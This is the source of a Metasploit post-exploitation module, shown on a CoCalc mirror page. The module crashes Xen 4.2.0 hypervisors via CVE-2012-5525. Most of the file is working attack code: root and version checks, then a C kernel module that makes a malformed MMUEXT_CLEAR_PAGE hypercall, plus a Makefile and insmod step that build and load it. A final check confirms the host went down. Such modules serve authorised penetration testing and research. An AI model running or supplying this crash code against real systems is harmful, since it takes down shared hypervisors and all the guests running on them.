Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/linux/dos/xen_420_dos.rb
19612 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Post
7
include Msf::Post::File
8
include Msf::Post::Linux::Priv
9
include Msf::Post::Linux::System
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => 'Linux DoS Xen 4.2.0 2012-5525',
16
'Description' => %q{
17
This module causes a hypervisor crash in Xen 4.2.0 when invoked from a
18
paravirtualized VM, including from dom0. Successfully tested on Debian 7
19
3.2.0-4-amd64 with Xen 4.2.0.
20
},
21
'References' => [ ['CVE', '2012-5525'] ],
22
'License' => MSF_LICENSE,
23
'Author' => [
24
'Christoph Sendner <christoph.sendner[at]stud-mail.uni-wuerzburg.de>',
25
'Aleksandar Milenkoski <aleksandar.milenkoski[at]uni-wuerzburg.de>'
26
],
27
'Platform' => [ 'linux' ],
28
'Arch' => [ARCH_X64],
29
'SessionTypes' => ['shell'],
30
'Notes' => {
31
'Stability' => [CRASH_SERVICE_DOWN],
32
'Reliability' => [],
33
'SideEffects' => [IOC_IN_LOGS]
34
}
35
)
36
)
37
38
register_options([
39
OptString.new('WritableDir', [true, 'A directory for storing temporary files on the target system', '/tmp'])
40
])
41
end
42
43
def run
44
# Variables
45
@rand_folder = '/' + Rex::Text.rand_text_alpha(7..11).to_s
46
@writeable_folder = datastore['WritableDir'].to_s + @rand_folder
47
48
# Testing requirements
49
print_status('Detecting requirements...')
50
return unless requirements_met?
51
52
# Cearting and writing random paths and files
53
vprint_status('Creating random file and folder names')
54
write_files
55
56
# Execute make and insmod
57
do_insmod
58
59
# Testing success of DoS
60
test_success
61
end
62
63
##
64
# Test all requirements:
65
# - root-priviliges
66
# - build-essentials
67
# - xen-enviroment (existing, not running)
68
# - xen-running
69
# - xen-version (DoS only works on specific versions)
70
##
71
72
def requirements_met?
73
unless is_root?
74
print_error('Root access is required')
75
return false
76
end
77
print_good('Detected root privilege')
78
79
unless build_essential?
80
print_error('No build-essential package found')
81
return false
82
end
83
print_good('Detected build-essential')
84
85
unless xen?
86
print_error('Running Xen was not found')
87
return false
88
end
89
print_good('Detected Xen')
90
91
unless xen_running?
92
print_error('Xen is not running')
93
return false
94
end
95
print_good('Detected running Xen')
96
97
unless right_xen_version?
98
print_error('Incorrect Xen version running')
99
return false
100
end
101
print_good('Detected correct Xen version')
102
103
true
104
end
105
106
##
107
# Checks for build essentials
108
# - Required for building a lkm
109
# - checks for gcc/g++, make and linux-headers
110
# - commands sh-conform
111
##
112
113
def build_essential?
114
check_command = 'if [ -s $( which gcc ) ] && '
115
check_command << '[ -s $( which g++ ) ] && '
116
check_command << '[ -s $( which make ) ] && '
117
check_command << '[ "$( dpkg -l | grep linux-headers-$(uname -r) )" != "" ] ;'
118
check_command << 'then echo OK;'
119
check_command << 'fi'
120
121
cmd_exec(check_command).delete("\r") == 'OK'
122
end
123
124
##
125
# Checks for running Xen Hypervisor
126
# - Looks for Xen in lsmod, lscpu, dmesg and /sys/bus
127
# - commands sh-conform
128
##
129
130
def xen?
131
check_command = 'if [ "$( lsmod | grep xen )" != "" ] || '
132
check_command << '[ "$( lscpu | grep Xen )" != "" ] || '
133
check_command << '[ "$( dmesg | grep xen )" != "" ] || '
134
check_command << '[ "$( which xl )" != "" ] ;'
135
check_command << 'then echo OK;'
136
check_command << 'fi'
137
138
cmd_exec(check_command).delete("\r") == 'OK'
139
end
140
141
##
142
# Checks for running Xen
143
# - Host eventually has Xen installed, but not running
144
# - DoS needs a running Xen on Host
145
##
146
147
def xen_running?
148
check_command = 'if [ -f /var/run/xenstored.pid -o -f /var/run/xenstore.pid ] ; then echo OK; fi'
149
150
cmd_exec(check_command).delete("\r") == 'OK'
151
end
152
153
##
154
# Checks for Xen Version
155
# - Most DoS of Xen require a specific version - here: 4.2.0
156
# - commands need running Xen - so execute after test for xen
157
##
158
159
def right_xen_version?
160
cmd_major = "xl info | grep xen_major | grep -o '[0-9]*'"
161
xen_major = cmd_exec(cmd_major).delete("\r")
162
cmd_minor = "xl info | grep xen_minor | grep -o '[0-9]*'"
163
xen_minor = cmd_exec(cmd_minor).delete("\r")
164
cmd_extra = "xl info | grep xen_extra | grep -o '[0-9]*'"
165
xen_extra = cmd_exec(cmd_extra).delete("\r")
166
167
xen_version = xen_major + '.' + xen_minor + '.' + xen_extra
168
169
print_status('Xen Version: ' + xen_version)
170
171
xen_version == '4.2.0'
172
end
173
174
##
175
# Creating and writing files:
176
# - c_file for c-code
177
# - Makefile
178
##
179
180
def write_files
181
@c_name = Rex::Text.rand_text_alpha(7..11).to_s
182
@c_file = "#{@writeable_folder}/#{@c_name}.c"
183
@make_file = "#{@writeable_folder}/Makefile"
184
185
vprint_status("Creating folder '#{@writeable_folder}'")
186
cmd_exec("mkdir #{@writeable_folder}")
187
188
vprint_status("Writing C code to '#{@c_file}'")
189
write_file(@c_file, c_code)
190
vprint_status("Writing Makefile to '#{@make_file}'")
191
write_file(@make_file, make_code)
192
end
193
194
##
195
# Compiling and execute LKM
196
##
197
198
def do_insmod
199
cmd_exec("cd #{@writeable_folder}")
200
vprint_status('Making module...')
201
cmd_exec('make')
202
vprint_status("Insmod '#{@writeable_folder}/#{@c_name}.ko'")
203
cmd_exec("insmod #{@writeable_folder}/#{@c_name}.ko")
204
end
205
206
##
207
# Test for success via ssh-error exception
208
# - Host down => ssh-error => DoS successful
209
##
210
211
def test_success
212
successful = false
213
begin
214
is_root?
215
rescue RuntimeError => e
216
successful = true if e.message == 'Could not determine UID: ""'
217
raise unless successful
218
ensure
219
if successful
220
print_good('DoS was successful!')
221
else
222
print_error('DoS has failed')
223
end
224
end
225
end
226
227
##
228
# Returns Makefile to compile
229
# - LKMs need a Makefile
230
# - Needs the linux-headers, make and gcc
231
##
232
233
def make_code
234
m = <<~END
235
obj-m := #{@c_name}.o
236
237
EXTRA_CFLAGS+= -save-temps
238
239
all:
240
\t$(MAKE) -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
241
242
clean:
243
\t$(MAKE) -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
244
END
245
m
246
end
247
248
##
249
# Returns the c-Code to compile
250
# - Contains the essential bug to crash Xen
251
# - Here: Force a segmentation fault via hypercall, which crashes the host
252
##
253
254
def c_code
255
c = <<~END
256
#undef __KERNEL__
257
#define __KERNEL__
258
#undef MODULE
259
#define MODULE
260
#include <linux/module.h>
261
#include <asm/xen/hypercall.h>
262
MODULE_LICENSE("GPL");
263
static int __init lkm_init(void)
264
{
265
struct mmuext_op op;
266
int status;
267
op.cmd = 16; /*MMUEXT_CLEAR_PAGE*/
268
op.arg1.mfn = 0x0EEEEE; /*A large enough MFN*/
269
HYPERVISOR_mmuext_op(&op, 1, &status, DOMID_SELF);
270
return 0;
271
}
272
static void __exit lkm_cleanup(void)
273
{
274
}
275
module_init(lkm_init);
276
module_exit(lkm_cleanup);
277
END
278
c
279
end
280
end
281
282